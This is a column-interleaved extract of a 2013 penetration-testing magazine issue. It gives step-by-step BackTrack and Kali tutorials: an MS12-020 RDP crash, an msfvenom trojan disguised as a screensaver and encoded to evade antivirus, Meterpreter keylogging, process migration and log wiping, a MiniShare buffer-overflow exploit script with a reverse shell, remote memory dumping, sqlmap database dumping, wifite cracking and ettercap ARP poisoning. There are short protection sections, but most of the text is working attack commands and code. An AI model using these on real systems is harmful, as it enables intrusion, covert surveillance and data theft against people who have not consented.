The -sP parameter means that we only want to 3389), youll learn a lot of things about this vulner-
show alive hosts. ability, for instance a description, the solution to
protect against it if the flaw is exploitable and the
Common Vulnerability ID (CVE).
The Metasploit website provides a database for
auxiliary and exploit modules (www.metasploit.
com/modules/).
By entering the right CVE (CVE-2012-0002 in
our case) on the field, we discover that there are

Figure 34. nmaps results

Figure 36. Nessus GUI

Figure 35. Nmaps results Figure 37. Nessus results

TBO 03/2013 Page 34 http://pentestmag.com


exploits for this kind of vulnerability. By clicking When you want to discover some flaws on a re-
the link 'MS12-020 Microsoft Remote Desktop', mote system, repeat these three steps very effi-
Metasploit gives you all the information to exploit cient and pretty easy.
this vulnerability (see Figure 38).
Now its time to attack our Windows. On BT5, Exploit 2: Creation of a Trojan to get access to
the first thing to do is to launch the msfconsole. a remote computer
Its a popular interface of Metasploit. It provides The first exploit was fun, but now we want to have
an 'all-in-console' and allows you to access a wide complete access to the remote host!
range of options. Exec msfconsole. A msf prompt In this scenario, we will use Social Engineer-
will appear. Then, we must set the good payload. ing to send a malicious program to a user running
According to the Metasploit website, we will use Windows 7.
ms12_020_maxchannelids (see Figure 39) : Heres the roadmap of our experiment: First, we
will use msfvenom to create our payload to send to
use auxiliary/dos/Windows/rdp/ms12_020_maxchannelids the target. Second, we will create a handler in order
to await a possible response of our target. Finally,
If you type show options, youll see all the require- we will perform some actions on the remote host.
ments needed by the payload to perform the at-
tack. You need to set the RHOST corresponding Step 1: Generation of the payload
to the remote host, out Windows 7. We will use msfvenom which is a combination of
Write set RHOST 192.168.1.119 on the console. msfpayload and msfencode. Msfpayload is a tool
The show options command proves to us that the specially designed to generate all the shellcode
target is correctly set (according to the figure below). available in Metapsloit. Msfencode is a little tool
Everything we need to perform in this penetration that can help with encoding.
is ok, so the last thing to do is launch the exploit! We will use a reflective DLL injection: its a tech-
On the BackTrack5 Terminal, just write exploit and nique employed to perform the loading of a library
see the result on your Windows (see Figure 41)!
As you can see, the Windows have just crashed
(see Figure 41)!
BackTrack 5 shows us that the payload has
worked successfully (192.168.1.119:3389 seems
down) (see Figure 42)!

Figure 40. Show option command

Figure 38. Search for exploit Figure 41. Windows 7 Crash

Figure 39. Use auxiliary command Figure 42. Module Execution complete

TBO 03/2013 Page 35 http://pentestmag.com


into a host process, here the TCP. TCP belong to -f exe means that the output format will be an ex-
the Internet protocol suite and can perform a reliable ecutable file;
and error control connection between two hosts. hot _ girls _ screensaver.exe is the name of the
In the BackTrack terminal, write msfvenom -p output (we decided to choose an attractive file-
Windows/meterpreter/reverse_tcp -o in order to name to get a better result; see Figure 44).
view all the options you need to fill for generating
the Trojan wellm (see Figure 43). You need to pro- Now, with this executable you can gain access to
vide some information like your local IP address a remote computer by reversing the connection!
(LHOST). If you cant remember it, type ifconfig If you list the directory (ls), you will see our Tro-
on the terminal. In my case, its 192.168.1.132. We jan. Then, you must send this exe to your Windows
will also change the listening port (LPORT) to 443, 7. In real life, to perform such a thing, youll prob-
because a firewall or a router is more prone to ac- ably need to use some social engineering tricks in
cept this kind of stream. In order to generate and order to force a user downloading your trojan. But
output the malicious file, write this command: dont forget thats illegal.

msfvenom -p Windows/meterpreter/reverse_tcp -e Step 2: Wait for a remote execution of the


x86/shikata_ga_nai -i 5 -b \x00 LHOST=192.168.1.132 payload
LPORT=443 -f exe > hot_girls_screensaver.exe In BT5, you must use the generic payload handler.
This module lets you use all the features from the
Here are some explanations: payload launch outside the framework.
Write use exploit/multi/handler and according to
-e x86/shikata _ ga _ nai is an encoder which our purpose, we need to set a reverse_tcp pay-
performs some permutation and substitution load. Its necessary to execute the command be-
through the block in order to bypass a spam fil- low (see Figure 45):
ter or an antivirus;
-i 5 encode the content of the payload 5 times; set payload Windows/meterpreter/reverse_tcp
-b \x00 avoid this character on the payload show options
(NULL) in order to avoid the premature end of
a code; As it is shown on the screenshot, we need to con-
figure the local host and the local port:

set LHOST 192.168.1.132


set LPORT 443

Then we can run the reverse handler by typing


Figure 43. msfvenom command exploit (see Figure 46).
Now, Metasploit is waiting for an incoming con-
nection from a potential victim. In real life, you
dont know when a potential user will execute the
malicious file, so be patient!
Figure 44. msfvenom results

Figure 46. Executing the reverse handler

Figure 45. PayLoad configuration Figure 47. Trojan execution results

TBO 03/2013 Page 36 http://pentestmag.com


Step 3: Lets execute the Trojan. kill pid_hot_girls_screensaver where pid_hot_
Its time to double click the exe file in our Windows girls_screensaver represent the PID of this pro-
7 (see Figure 47). cess. As you can see, you are still connected!
Once the remote user launches the payload, a Now focus on the user itself: we can view what
meterpreter prompt appears; that means that you the he is doing by writing the command screenshot
have complete access to the remote host! Meter- or how long he is idle by typing idle time. If the
preter provides some powerful tools for executing user is active, it will be interesting to know what he
remote code. is typing. To perform such a thing, we must launch
When you hit the key, all the activities that you the meterpreter keylogger by entering the keyscan_
are able to perform are listed. start command (see Figure 51).
First of all, we must know who is running our pay- All of the keys pressed will be recorded and if
load. Thus, we must enter the command sysinfo we want to read what the remote user is typing,
(see Figure 48). we need to run the keyscan_dump command (see
As we can see on the screenshot, all the infor- Figure 52).
mation about the remote hosts are displayed! To stop the key logger, run keyscan_stop.
Lets go further and see how many processes are shell command lets you have access to a re-
running on the remote host. Type ps (see Figure 49). mote Windows prompt (see Figure 53).
You will see the entire process list. Now the us- Our attack must be secret, so in order to stay un-
er probably thinks that your screensaver doesnt detected, we must type clearev.
work. If he is skilled, he probably wants to kill the The entire event list that we generate during our
process of the Trojan. In order to stay connected, a intrusion will disappear from the Windows event-
smart thing to do is migrating our meterpreter pro- logging panel.
cess to another one. We will choose explorer.exe
because its a generic process managing the GUI How to protect against these?
of Windows. To do this, locate the process identi- As you can see, these attacks are really easy to
fier (PID) of explorer.exe and type migrate pid_ do. Concerning the RDP exploit, if you use it on
number where pid_number represents the pid on your home or at work, try to use NLA authentica-
the remote host (see Figure 50). tion mode because its more secure. Network Lev-
In our case, the PID is 908. The user can kill the el Authentication employs users credentials and
process hot_girls_screensaver.exe, its no big provides accountability: you know who is doing
deal because we are now running our session on what in which circumstances. Moreover, accord-
explorer.exe! Moreover, if the user didnt kill the ing to the TechNet Microsoft website, NLA requires
process, do it yourself. Again, locate the screen- fewer remote computer resources when challeng-
saver.exe PID using ps and locate it. Then execute ing than the other method. It can help to reduce the

Figure 50. Migrate pid_number


Figure 48. Meterpreter terminal

Figure 51. keyscan command

Figure 52. keyscan_dump command

Figure 49. Remote system running processes Figure 53. Access to the remote prompt

TBO 03/2013 Page 37 http://pentestmag.com


risk of a DOS attack. Dont forget to update your MiniShare (http://mathieu-nayrolles/pentest-
OS when a new one is available. The best mode is mag/victim/minishare.zip). MiniShare is a free
to turn on the auto update. This link gives you the web server for Windows XP to share files.
entire step to configure this: IP: 1xx.xxx.xxx.x3.

http://www.update.microsoft.com/Windowsupdate/v6/ The attacker system is BackTrack 5 r3 with:


thanks.aspx?ln=en&&thankspage=5
Perl interpreter;
Concerning the Trojan, the best practice is to ed- Python interpreter;
ucate your mates and colleagues. In effect, the Metasploit 3.x;
whole security of a system or network depends IP: 1xx.xxx.xxx.x1.
on the weakest element of the chain. Most of the
time, the problem is located between the key- Detect buffer overflow possibility
board and the chair! On the victim system:
Its also important to install an antivirus on the
computer and keep it up-to-date. Microsoft provides Launch OLLYDBG and then File>Open>Mini
Windows Defender but there is a lot of good soft- Share.exe (The default installation path is C:\
ware on the market for instance Avast. But in my Programs Files\MiniShare\MiniShare.exe (see
opinion and I insist you really need to talk about Figure 54).
this subject matter around you. The hackers and
the market antivirus industries lead a war with no
mercy. Its like the cat and mouse game and an an-
tivirus works in reactive mode: that means that the
software contains a database of the well-known vul-
nerabilities (signatures) and cant fight against soft-
ware, code, viruses, etc. that it doesnt recognize.

Buffer Overflow
In this section; we will learn about an exploit relat-
ed to Buffer Overflow techniques. A buffer overflow
may appear when a program attempts to store in
RAM more data than it can actually do. Moreover,
buffers are created to hold a fixed amount of data
and will corrupt or overwrite adjacent buffer while
overflowed. Even though buffer overflow can ap-
Figure 54. OllyDBG GUI
pear while programming; in this section we will try
to exploit poor programmed program by overflow-
ing its buffer with executable code of our choice.
What you will learn:

To detect an overflow possibility in a program;


To build a python script to create a buffer over-
flow;
To exploit the buffer overflow with a payload.

Configuration
The target system is a Windows XP SP2 with:

Ollydbg (http://mathieu-nayrolles/pentestmag/
victim/odbg.zip). OllyDbg is an assembler lev-
el analyzing debugger for Windows XP. We will
use this software to detect buffer overflow pos-
sibilities. Figure 55. Find a JMP ESP operation

TBO 03/2013 Page 38 http://pentestmag.com


The interface is organized as follows: Make this script executable: chmod +x pentest
Upper-left: CPU view; mag-bof.py and run it ./pentestmag-bof.py.
Lower-left: Memory dump; You have successfully crashed your distant
Upper-right: Register; MiniShare server. To confirm it; have a look on
Lower-right: Stack. your OllyDBG. The EIP point should be over-
Now, you can hit F9 to let MiniShare run. written to 41414141 (see Figure 56).
In the view menu select 'Executable Menu', The instruction pointer (EIP) register contains
then select Shell32 at the bottom of the list and the address of the next instruction to be exe-
press enter. You can now search for JMP ESP cuted. So, we successfully make the next ad-
operation using [CTRL+F]. A JMP ESP opera- dress to be executed at 41414141 by sending
tion proceeds to a jump to the ESP point (see an HTTP get with 2200 * 41. However, we still
Figure 55). dont know which of the '41' are in the EIP. We
do have to generate a pattern to identify how
Since we will have to use this address in a python much data we have to send.
script, that we will build later, we want to avoid any In your BackTrack system. Place yourself at
special character such as: \x00 (zero byte), \x0a /pentest/exploits/framework/tools and run
(line feed) and \x0d (carriage return). Use CTRL+L
in order to continue your research of the perfect Listing 2. Pentestmag-bof.py Python script
JMP ESP operation. In my case, I found the holy
graal at 7CA58265. #!/usr/bin/python
import socket
Create a buffer overflow targeting MiniShare
A known vulnerability of MiniShare (that can be MyTarget ="1xx.xxx.xxx.x3"
found at http://exploit-db.com) let the sender over- Port=80
flow the vulnerable server with a simple HTTP
GET looking like: MyBuffer = "GET " + "\x41" * 2220 + "
HTTP/1.1\r\n\r\n"
GET HTTP/1.1 \r\n\r\n
sock=socket.socket(socket.AF_INET, socket.
The 'only' thing we have to do is to send enough SOCK_STREAM)
content in this get in order to accede to the target- connect=sock.connect((MyTarget, MyBuffer))
ed and vulnerable address. sock.send(MyBuffer)
sock.close()
In your BackTrack system; creates a new py-
thon script named pentestmag-bof.py contain- Listing 3. /pattern_create.rb 2220 Python script
ing the lines presented in Listing 2.
#!/usr/bin/python
import socket

MyTarget ="1xx.xxx.xxx.x3"
Port=80

MyBuffer = "GET "


MyBuffer+= ('Result OF ./pattern_create.rb
2220')
MyBuffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.
SOCK_STREAM)
connect=sock.connect((MyTarget, MyBuffer))
sock.send(MyBuffer)
sock.close()
Figure 56. EIP overwritten to 41414141

TBO 03/2013 Page 39 http://pentestmag.com


the following command: ./pattern _ create.rb Restart MiniShare on the victim system
2220 and copy past the output in your python (CTRL+F2;F9) and launch your python script. If
script (see Listing 3). everything went well, we do now have the EIP
Restart the program on the victim system value at CCCCCC (see Figure 58).
(CTRL+F2; F9) and run your python script again.
The result of this operation is a new crash of Exploiting the buffer overflow flaw
MiniShare but with more information. Indeed, We now own all information that are required to ex-
the crash occurs at another address and the ploiting a buffer overflow.
ESP value is now Ch7Ch8 (see Figure 57).
Using the pattern offset tool, we can retrieve A vulnerable address: 7CA58265;
how much character there is between the vio- The amounts of data to send in the HTTP GET
lation address and our Ch7Ch8 sequence. Use to overwrite the EIP.
the command:
./pattern_offset.rb 36684335 (result is 1787) The next step is to generate an executable
./ pattern_offset.rb Ch7Ch8 (result is 1791) code to inject in the victim system (instead of
CCCCCCC)
Using these new information; we can modify
our python script as shown in Listing 4. Using the msfpayload tool we can generate a
code to gain remote console access to the tar-
get: msfpayload Windows/shell _ reverse _ tcp
LHOST=132.208.135.71 LPORT=443 R | msfencode
-a x86 -b '\x00\x0a\x0d' -t c;
Modify your python like shown in Listing 5.
Start listening on the 443 Port by executing: sudo
nc nvvlp 443. Then restart for the last time Min-
iShare and run your script (see Figure 59).

How to protect against a Buffer Overflow attack?


The first step to immune your system from being
overflowed is to patch the software you are using

Listing 4. Python script modified

#!/usr/bin/python
import socket
Figure 57. ESP overwritten to Ch7Ch...
MyTarget ="1xx.xxx.xxx.x3"
Port=80

MyBuffer = "GET "


MyBuffer += "\x41\x41\x41\x41" # The EIP new
value
MyBuffer += "\x90" * (1791 - len(buffer))
MyBuffer += "\xcc" * (2220 - len(buffer)) #
ESP new value
MyBuffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.
SOCK_STREAM)
connect=sock.connect((MyTarget, MyBuffer))
sock.send(MyBuffer)
sock.close()
Figure 58. Confirm the buffer overflow

TBO 03/2013 Page 40 http://pentestmag.com


to the latest version. Moreover, you should regu- Indeed, we will use the remote control provided by
larly check if there are new entries concerning the this attack as a sound of basis for the following.
software you use in exploit-DB like websites. The target system is a Windows XP SP2 with:
If you are suspecting such attacks are being con-
ducted in your network; use a network analysis Monsools Windows Memory Toolkit (http://ma-
tool such as WireShark to confirm the appearance thieu-nayrolles/pentestmag/victim/moonsols.zip)
of suspicious packet and identify the source. Monsools Windows Memory Toolkit designed to
extract various memory dumps, such as VMWare
Dump memory memory snapshot, Microsoft cash dump, and
During this latest section, we will learn how to dump even the current memory of a target machine.
the memory of a distant machine and analyze it. IP: 1xx.xxx.xxx.x7. The attacker system is
This very simple process will be able to reconstruct BackTrack 5r3 with:
a file that was holding by the distant memory; such Foremost (sudo apt-get install foremost) Fore-
as images, audio or private .ssh keys. most is a console program to recover files
What you will learn: based on their headers, footers, and internal
data structure. Foremost was originally used by
To dump the memory of a remote machine; the Air Force Office of Special Investigations
To analyze the memory dump to retrieve information. before being opened to the public.
IP: 1xx.xxx.xxx.x1
Configuration
To follow this step-by-step tutorial, you will have to Install Moonsools on the remote host
successfully complete the Buffer Overflow attack.
Re-run your python script from the previous
Listing 5. Final form of Python script chapter to have a distant access to the victim
system (see Figure 60).
#!/usr/bin/python In this operation, we will create a shared fold-
import socket er in order to copy the executable, dump the
memory into it and download the results file.
MyTarget ="1xx.xxx.xxx.x3"
Port=80 Of course, this method to install Monsools (the
dump memory software) and download the results
MyBuffer = "GET " is not optimum. Indeed, the creation of a shared
MyBuffer += \x65\x82\xA5\x7C" # The address folder will certainly not pass unobserved and you
(REVERSE WAY) need an access to the local network.
MyBuffer += "\x90" * (1791 - len(buffer)) Enter the following commands:
MyBuffer += ('MY PAYLOAD COMMAND RESULT')
MyBuffer+= " HTTP/1.1\r\n\r\n" mkdir pentestMag (creates a folder);
net share pentest=c:\PenTestMag /unlimited
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) (creates a shared folder named 'pentest');
connect=sock.connect((MyTarget, MyBuffer)) cacls c:\ pentestMag /t /e /g Everyone:f
sock.send(MyBuffer) (gives full control over this folder to everyone).
sock.close()
You can now access the remote shared folder us-
ing the network browsing of BackTrack and copy

Figure 59. Remote Prompt access Figure 60. Remote Prompt access

TBO 03/2013 Page 41 http://pentestmag.com


the unzipped MonSools into it. You can now run produce attacks while testing your infrastructure
Monsool to dump the memory. resistance. This work do not claim to be the state-
of-the art in penetration and testing using Back-
win32dd d /f C:\pentestMag\dump.dmp Track, but provides a sound basis for anyone who
wants to make this leap towards a more secure en-
The resulting file will be the size of the physical vironment. The authors would like to give you their
memory. Pay attention to the free space in the re- heartfelt thanks for reading this article and hope
mote hard drive. there is fewer flaws to exploit out there.

Run Foremost (sudo apt-get install foremost)


on the dmp file. Mathieu Nayrolles
Foremost t all Dump.dmp Mathieu was born in France, and it is where he started his
Browse the results in the newly created output studies in Computing Sciences at Exia.Cesi and passed
folder (see Figure 61). the Diploma in Information Systems Management. He
travelled to Europe and completed various internships
By browsing this folder content, you can retrieve any for companies worldwide, such as Eurocopter and Saint-
files that were present in the remote system memory. Gobain. During the fourth year, he decided to pursue a
double diploma course at UQAM, Qubec, Canada. In
How to protect against a dump memory the framework of his study at UQAM, he was awarded
operation? for one of his publications, ('Specification and Detection
To protect yourself from memory dump; you ba- of SOA Antipatterns') on the 10th International Confer-
sically have to protect against remote access like ence on Service-Oriented Computing. He is still complet-
described in previous parts. ing his last year in both schools, and has written two Mas-
ter's theses in the Artificial Intelligence and Quality fields.
Conclusion Currently, he is giving courses on agile development, ser-
With Pentesting with BackTrack, you are all set to vice-oriented architectures, business intelligence, and
complete a various non-trivial and complex tasks data mining at the bachelor level in UQAM and eXia.Cesi,
to optimize and protect your infrastructure. Indeed, along with his own studies. You can find out more about
during this short journey, you have been led in the him on his website, www.mathieu-nayrolles.com.
pentesting world through the step-by-step tutori-
als and hands-on recipes. We have provided ex- Mathieu Schmitt
amples of attacks and ways to protect from them Mathieu is currently working toward the MS degree from
on all current hot topics such as: WIFI, Bluetooth, the University of Quebec at Montreal. His current re-
CMS, Windows XP, Windows 7, Trojan, Buffer search interests include data security in cloud comput-
overflow, and memory forensics. Moreover, from ing, privacy preserving, and network security. He also has
now, youve learned the tools that can help you re- a Master's in networking and system administration. He
likes spending hours on /r/lolcats and having some fun
time drinking beers with friends. You can find out more
about him on his website, www.schmittmathieu.com.

Benot Delorme
Benot was born in France, where he graduated at Exia
with an emphasis on Networking and System Administra-
tion in Nancy. He now lives in Montreal, Quebec, where
he's following courses to obtain a Master's degree from
the University of Quebec in Montreal. His working fields
are multi factor security authentication like fingerprints
and facial recognition and at the same time he is giving
courses on security for embedded devices in his spare
time. He likes IT security in general, web development,
particularly UX-wise, project management, his Nexus 4
phone, and preparing great meals. You can follow him on
Figure 61. Output Folder Google+ http://gplus.to/benoit.

TBO 03/2013 Page 42 http://pentestmag.com


Security is not always black and white

Shades of Gray Security helps businesses


protect their sensitive data, ght
cybercrime,and reduce security risk.

We help organizations of all sizes defend


theirnetworks and protect their
Penetration Testing information. Ourteam has responded some
Application Testing of the largest
la breaches in history. We help
Digital Forensics businesses transform the way they think,
Social Engineering plan, and prepare their information security
Security Assessment andcompliance.
Risk Assessment
Reverse Engineer We have clients in every industry including
Incident Response technology, medical, government, nancial,
Disaster Recovery legal, and oil and gas.
Policy Building
Compliance G Security is a unique security
Shades of Gray
solutions provider and oer our customers
quality and integrity second to none.

Contact us today to secure your tomorrow.

225.341.2487 Shades of Gray Security


Top 5 Kali Linux Tools
You Absolutely Must Use
Kali Linux is full of new features that its predecessor BackTrack
lacked. These features include many new penetration testing tools,
streamlined security updates, Debian compliant packaged tools,
installations that can be automated using pre-seed files, seamless
updates to future versions, multi-lingual support, and support for
ARM hardware.

T
he support for ARM hardware means that tools like Ghost Phisher, Arachni Scanner, Unicorn-
you can now get your hack on with devic- scan and Pass the Hash Toolkit. One of the things I
es such as EfikaMX, Beaglebone Black, noticed the most was the stability of Kali Linux when
CuBox, Samsung Galaxy Note, Samsung ARM compared to BackTrack. I personally had many sta-
Chromebook, SainSmart SS808, ODROID, and of bility issues with BackTrack where it would either
course Rasberry Pi. shut down on me, not start up, freeze, or worse,
Kali Linux comes packed with over 300 security wouldnt detect my wireless card. This would drive
tools. This includes some of the oldies, but good- me crazy and I found these issues on multiple differ-
ies like Metasploit, Aircrack-ng, Kismet, John the ent computers using different settings. I havent had
Ripper, Nmap, EtterCap, WireShark, OWASP Zed a single issue yet on Kali Linux and it always seems
Proxy and of course BeEF but also has many new to be blazing fast. I definitely find it much more sta-
ble than its predecessor (Figure 1).

Figure 1. Kali Linux Applications menu Figure 2. Logging into the Maltego Community Server

TBO 03/2013 Page 44 http://pentestmag.com


Maltego forms, a tutorial explaining all of them would be
Kali Linux has many new tools. One of the ones almost impossible. For this tutorial, Im going to
that Ive really enjoyed is a program by Paterva focus more on get some of related networks and
called Maltego. Maltego is an open source intel- hosts from my target website.
ligence and forensics application specifically used The next step, you want to select the Domain
for the information gathering phase of a security option from the palette and drag it over into your
audit. Using this tool, you can gather information graph. It should default to paterva.com. However,
about networks, websites, domains, people, and if you double click on it you should get a text field
organizations. You can even use it to gather infor- to edit the domain.
mation using social media outlets like Twitter. Once the domains been updated to your target,
The community edition of Maltego comes pack- right click the entity in your graph and you should
aged with Kali Linux. It can be somewhat over- get a dropdown of options.
whelming at first because it has so many different Select Run Transform DNS from Domain
bells and whistles, making the overall GUI rather All In This Set. As soon as this option is select-
busy. However, that doesnt change the usefulness ed, the transform should automatically run and you
of Maltego as it truly is a fantastic application and should see network devices on your graph start to
is definitely a tool to have on your security tool belt. appear with different domains associated with your
To check out Maltego, just pull up your console target domain (see Figure 4).
and type maltego. Once the application is loaded, As you can see in the image above, weve had
you will need to register and verify your email ad- Maltego scan pentestmag.com and it has uncov-
dress with Paterva. Im guessing Paterva does this ered twelve associated network domains. This can
for liability reasons but I havent confirmed this. really be helpful for mapping out networks during
Once logged in, Maltego should start performing an audit. In addition, you can find associated e-
an update on all of the transforms. Transforms are mails to a domain by right clicking the main entity
information gathering tools that are updated fairly in your graph, selecting, Email Addresses from Do-
frequently by the Maltego community. main and then selecting All in This Set.
To start a new project, click on the circular icon in
the top left corner and select new. This should fill SQL MAP
your pallet with many different entities (see Figure SQLMap isnt new to the BackTrack / Kali Linux
3). Maltego has so many uses, entities and trans- family, but its definitely among my favorite applica-

Figure 3. Maltego palette Figure 4. Domains associated with the target

TBO 03/2013 Page 45 http://pentestmag.com


tions, so I couldnt write an article about Kali Linux sqlmap -u http://mysite.com/page.cfm?productid=123
without going over it at least a little. Ill be honest --dbs
I enjoy any application that decreases the amount
of time required in an audit so that I can move on to To view pull a list of tables from a specific data-
other things that require more time or skill. I would base, uses the following command (see Figure 6).
definitely put SQLMap under one of those time
saving categories. So what is SQLMap? SQLMap sqlmap -u http://mysite.com/page.
is an open source penetration tool that detects cfm?productid=123 -tables D
and exploits SQL injection vulnerabilities. It can nameofdatabase
be used to break into a database and extract data
from databases. I regard myself an ethical hacker The term nameofdatabase should be replaced with
and of course only use this application for expand- the name of the database that were working with.
ing my own knowledge. You cant stop the enemy To find the columns of a specific table, use the
until you know that enemy, right? command:
SQLMap is extremely easy to learn as its ex-
tremely simplistic however there are many differ- sqlmap -u http://mysite.com/page.cfm?productid=123
ent commands available. According to OWASP, -columns T nameoftable D
the available SQLMap commands available are: nameofdatabase

sqlmap -v 2 Again, the nameofdatabase field and the nameoft-


--url=http://mysite.com/index able fields should be substituted with your table/
--user-agent=SQLMAP database of choice.
--delay=1 Ok, so now weve found our database, table, and
--timeout=15 we know which columns were working with. To ex-
--retries=2 tract data out of a specific column use the com-
--keep-alive mand (Figure 7):
--threads=5
--eta sqlmap -u http://mysite.com/page.cfm?productid=123
--batch -columns T nameoftable D
--dbms=MySQL nameofdatabase -dump
--os=Linux
--level=5
--risk=4
--banner
--is-dba
--dbs
--tables
--technique=BEUST -s /tmp/scan _ report.txt Figure 5. Detecting the database system in SQLMap
--flush-session t /tmp/scan _ trace.txt
--fresh-queries > /tmp/scan _ out.txt

Most of these methods arent used in this tutorial


but are still available as an option. The first thing
you want to do is find out what type of database
youre dealing with. One of SQLMaps strengths
is its ability to use almost any data system while
maintaining the same syntax. SQLMap is compat-
ible with MySQL, Oracle, PostgreSQL, Microsoft
SQL Server, Microsoft Access, IBM DB2, SQLite,
Firebird, Sybase, and SAP MaxDB based systems.
To start SQLMap and start detecting which data-
base system were dealing with, use the following
command (see Figure 5). Figure 6. SQLMap showing tables in a database

TBO 03/2013 Page 46 http://pentestmag.com


If pulling users with an encrypted password col- If you only want to crack access points that have a
umn, SQLMap can be used to decrypt the column signal strength greater than 40db, use the command:
using dictionary based attacks.
If you run into issues or SQLMap doesnt detect wifite all power 40
which database youre running, its very possible
that your target is, in fact, not injectable. If your WireShark
target is injectable and SQLMap does successfully WireShark is an open source packet analyzer. It
detect your database, it should ask you if you want comes bundled with Kali Linux; however, you can
to continue. Type y and hit enter. also use it on other operating systems including
TIP: When using SQLmap, each step can be Windows and Unix.
somewhat repetitive. You dont have to retype ev- To pull up Wireshark in Kali Linux, just open the
erything, just hit the up arrow and youll get a copy console and type wireshark. Dont you just love
of the last command that was executed. You can Kali Linux? When using applications with Back-
then modify it from there. Track, you would often need to cd to a specified
folder before executing sqlmap or reference the
Wifite specific filename.
Wifite is an automated wireless auditing tool used Once WireSharks loaded up, select Capture
to attack WEP, WPA and WPS networks. The doc- from the top navigation, then Interfaces. This
umentation describes the tool as a set it and forget should pop up a dialog box where you can select
it wireless auditing tool, because its so simple to the wireless device you want to sniff. This varies
use and requires practically no time on your part. depending on your network configuration, but I
To get started with Wifite, first make sure you normally select eth0 to select my own traffic.
have a wireless card that supports packet injection After the network device has been selected, youll
and then use the command: usually start to collect MANY different packets. Youll
really need to use filters to narrow down specifically
wifite what youre looking for. When I run packet sniffers,
Im usually most interested in HTTP traffic so in the
The program should first detect your wireless filter text box, type HTTP and hit enter (see Figure
card, cloak your MAC address and automatical- 10). This should narrow down your request to HTTP
ly start scanning for wireless access points. You traffic, only making it much easier to look at. When
should see something like Figure 8. To continue youve found a specific packet you want more in-
hit CTRL+C to start and it should ask you which formation on, right click it and select Show Pack-
access points you want to crack. You can select et in New Window from the dropdown menu. This
a specific access point, or type all to automatical- will allow you to analyze the packet to its fullest ex-
ly crack all access points. If you want to crack all tent. Because network names are so much easier to
available access points, use the command: look at, one of the things I like to do while analyzing
packets is to turn on Network Name Resolution. You
wifite -all

By default, Wifite attacks the access points in order


of signal strength. If you look at the access points
I have available, I have five WEP and two WPA2.
Ive found that trying to crack WPA2 is very time
consuming and not always effective. If you want to
Figure 7. SQLMap extracting data
just automatically crack all WEP, which is usually
very fast comparatively, use the command:

wifite all nowpa

If you want to crack only wireless access points


that are WPA, use the command:

wifite all nowep Figure 8. Object 100

TBO 03/2013 Page 47 http://pentestmag.com


can do this by going to Edit Preferences Nam- EtterCap
ing Resolution and then checking the box that says, One of the most common uses for WireShark, is an
Enable Network Name Resolution. I find that see- attack called the Man-In-The-Middle attack. This at-
ing the network name rather than the domain name tack occurs when a hacker intercepts packets going
makes it much easier to read. from a target to the final destination. This can be

Figure 9. Wireshark console

Figure 10. Wireshark filtering the packets

TBO 03/2013 Page 48 http://pentestmag.com


used to incept private data like passwords or cook-
ies in addition to a hacker stopping a specific http
call and delivering a fake (phishing) version of the
page. In my opinion, one of the best tools for per-
forming this attack is the use of an application called
EtterCap as its method of ARP poisoning is fantas-
tic. To open EtterCap use the command:

ettercap -G

This will pull up the graphical version of EtterCap,


which is the version Ill be covering in this article.
Youll want to turn on unified sniffing. You can do
this by hitting SHIFT+U or going to Sniff Unified
Sniffing. After this has been selected, you should se-
lect your network interface. You should now scan for
hosts; so go to Hosts Scan for Hosts. This should
add all of your hosts to the host list. When this is
complete, go to the host lists by going to Hosts
Host List. Select your host and click on Add to tar-
get. Then go to Mitim Arp poisoning and check
the checkbox that says Sniff Remote Connections.
Congrats, youve successfully achieved a man in
the middle attack. Now that youve completed the
attack, youll want to open up Wireshark, start up
your packet scanner, and last but not least, give
yourself a very big hug because you are officially
awesome. Cheers to your awesomeness!

Conclusion
Kali Linux has so much to offer when it comes to
tools that save you time. Ive given you some of my
favorite tools that Ive used many times when per-
forming security audits and cant possibly recom-
mend Kali Linux more to anyone interested in the
security industry. Specializing in
iOS /OS X Forensics
Paul Alkema Mobility & Security
With more than 6 years of experience Architecture
in the IT field, Paul is currently em-
Mobile Device Policy/BYOD
ployed as the Sr. Web Application De-
veloper for a large e-commerce web- Secure File Storage & Transfer
site out of South Jersey. His current /Cloud
role includes static and dynamic secu-
Open Source Integration
rity testing, documentation, applica-
tion development in C#, MVC, and oth-
er .NET languages. Paul has recent-
ly earned his GSSP in .NET and continues to grow his
knowledge in security and penetration testing on a daily
basis. In his free time, he works on miscellaneous open http://virtualnex.us/
source projects in addition to keeping up with his blog 530-304-3216
at http://paulalkema.com.

TBO 03/2013
In Depth Review of the
Kali Linux: A Hackers Bliss
Kali Linux is a blessing for Penetration Testers worldwide. It
addresses many of the shortcomings of its predecessor Backtrack
and is immensly popular with professional Hackers. Here we
discuss the (relatively) new Kali Linux in depth and explore the
qualities that make it different from Backtrack.

K
ali Linux is a Linux penetration testing and se- A Little History
curity auditing Linux distribution. After its re- To be very concise, Kali is an offshoot of Back-
lease in March 2013, Kali Linux has quickly track, which is an Offshoot of Whax, which is
become the new favorite among PenTesters world- itself an Offshoot of Whoppix, which is derived
wide as their choice for the PenTesting OS. Replacing from Knoppix. Something common among all of
its predecessor Backtrack, Kali incorporated several these distros is that they were focused on Digital
new features and looks quite promising. It is available Forensics and Intrusion Detection, with Backtrack
for i386 and amd64 architectures and has the same and Kali adding a whole lot of Tools for PenTest-
Minimum Hardware Requirements as Backtrack: 1 ing purposes. Backtrack has been giving ma-
GHz CPU, 8 GB of Hard Disk Space, 300 MB RAM, chine guns to monkeys since 2007, so it has had
And DVD-writer/Ability to boot with a Pen drive. a long reign as the favorite distro of PenTesters
worldwide. Offensive-Security, the creators of
Backtrack, decided to incorporate many changes
in new Backtrack 6 (as it was called at that time).
Since it was built from scratch, it was significantly
different from the older versions of Backtrack and
Offensive-Security decided to give a new name to
the Distro Kali Linux.

What was wrong with Backtrack and why


it needed a change?
We all love Backtrack but bottom-line is that there
are a lot of problems associated with this distro.
The most annoying problem is updating. There
was always a fear of breaking something if you
updated it. There were too many tools and some of
them werent updated as frequently as the others.
Figure 1. Kali Linux Main Menu So updating the dependencies of some would

TBO 03/2013 Page 50 http://pentestmag.com


cause others to crash and we struggled to main- ARM Devices Support
tain a balance where all these tools and their de- Kali is available for the following ARM devices:
pendencies would co-exist without getting in each rk3306 mk/ss808, Raspberry Pi, ODROID U2/
others way. X2, Samsung Chromebook, EfikaMX, Beaglebone
When we wanted to use a tool, we needed to Black, CuBox and Galaxy Note 10.1
type the absolute path in shell.
